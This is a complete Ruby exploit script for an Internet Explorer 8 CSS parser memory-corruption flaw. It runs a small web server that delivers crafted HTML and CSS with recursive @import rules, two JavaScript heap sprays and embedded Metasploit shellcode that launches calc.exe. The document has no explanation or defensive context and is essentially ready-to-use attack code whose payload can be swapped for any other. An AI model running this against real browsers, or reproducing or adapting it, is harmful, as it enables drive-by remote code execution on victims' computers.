Internet Explorer 8 CSS Parser Exploit

`#!/usr/bin/env ruby  
  
# Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/  
# Author: Nephi Johnson (d0c_s4vage)  
  
require 'socket'  
  
def http_send(sock, data, opts={})  
defaults = {:code=>"200", :message=>"OK", :type=>"text/html"}  
opts = defaults.merge(opts)  
  
code = opts[:code]  
message = opts[:message]  
type = opts[:type]  
  
to_send = "HTTP/1.1 #{code} #{message}\r\n" +  
"Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" +  
"Cache-Control: no-cache\r\n" +  
"Content-Type: #{type}\r\n" +  
"Pragma: no-cache\r\n" +  
"Content-Length: #{data.length}\r\n\r\n" +  
"#{data}"  
puts "[+] Sending:"  
to_send.split("\n").each do |line|  
puts " #{line}"  
end  
sock.write(to_send) rescue return false  
return true  
end  
  
def sock_read(sock, out_str, timeout=5)  
begin  
if Kernel.select([sock],[],[],timeout)  
out_str.replace(sock.recv(1024))  
puts "[+] Received:"  
out_str.split("\n").each do |line|  
puts " #{line}"  
end  
else  
sock.close  
return false  
end  
rescue Exception => ex  
return false  
end  
end  
  
def to_uni(str)  
res = ""  
str.each_byte do |b|  
res << "\x00#{b.chr}"  
end  
res  
end  
  
@css_name = "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s"  
@html_name = "test.html"  
placeholder = "a" * (@css_name.length/2)  
  
@html = <<-HTML  
<script>  
function dup_str(str, length) {  
var res = str;  
while(res.length < length) {  
res += res;  
}  
res = res.substr(res.length - length);  
return res;  
}  
  
function to_bin(str) {  
var res = "";  
while(str.length > 0) {  
var first = str.substr(0, 2);  
var second = str.substr(2, 2);  
res += "%u" + second + first;  
str = (str.length > 4) ? str.substr(4) : "";  
}  
return unescape(res);  
}  
  
// first heap spray  
var base = dup_str(to_bin("0c0c0c0900000008000000730073030100000000010000730073030c"), 512+6);  
var arr = []  
for(var i = 0; i < 60000; i++) {  
arr[i] = ["" + base].join("");  
}  
  
// second heap spray w/ shellcode  
var nops = dup_str(to_bin("0c0c0c0c"), 4096+6);  
  
// windows/exec - 200 bytes  
// http://www.metasploit.com  
// EXITFUNC=process, CMD=calc.exe  
var shellcode = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" +  
"%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +  
"%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +  
"%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" +  
"%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +  
"%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +  
"%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +  
"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" +  
"%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" +  
"%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" +  
"%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" +  
"%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" +  
"%u6c61%u2e63%u7865%u0065");  
var arr2 = [];  
for(var i = 0; i < 30000; i++) {  
arr2[i] = [nops + shellcode].join("");  
}  
  
// write the link to the stylesheet  
var link = document.createElement("link");  
link.setAttribute("rel", "Stylesheet");  
link.setAttribute("type", "text/css");  
link.setAttribute("href", "#{placeholder}")  
document.getElementsByTagName("head")[0].appendChild(link);  
</script>  
HTML  
@html = "\xfe\xff" + to_uni(@html)  
@html.gsub!(to_uni(placeholder), @css_name)  
  
@css = <<-CSS  
@import url("#{placeholder}");  
@import url("#{placeholder}");  
@import url("#{placeholder}");  
@import url("#{placeholder}");  
CSS  
@css = "\xfe\xff" + to_uni(@css)  
@css.gsub!(to_uni(placeholder), @css_name)  
  
@index = <<-INDEX  
<a href="#{@html_name}">#{@html_name}</a>  
INDEX  
  
TCPServer.open(55555) do |srv|  
while true  
cli = srv.accept  
req = ""  
html = ""  
css = ""  
index = ""  
next unless sock_read(cli, req, 5)  
while req.length > 0  
if req =~ /GET/  
if req =~ /GET.*#{Regexp.escape(@html_name)}/  
break unless http_send(cli, @html, :type=>"text/html")  
elsif req =~ /GET.*index/  
break unless http_send(cli, @index)  
elsif req =~ /GET.*#{Regexp.escape(@css_name)}/  
break unless http_send(cli, @css, :type=>"text/css")  
else  
break unless http_send(cli, @css, :type=>"text/css")  
end  
elsif req =~ /QUIT/  
exit()  
end  
req = ""  
next unless sock_read(cli, req, 5)  
end  
cli.close rescue next  
end  
end  
  
  
`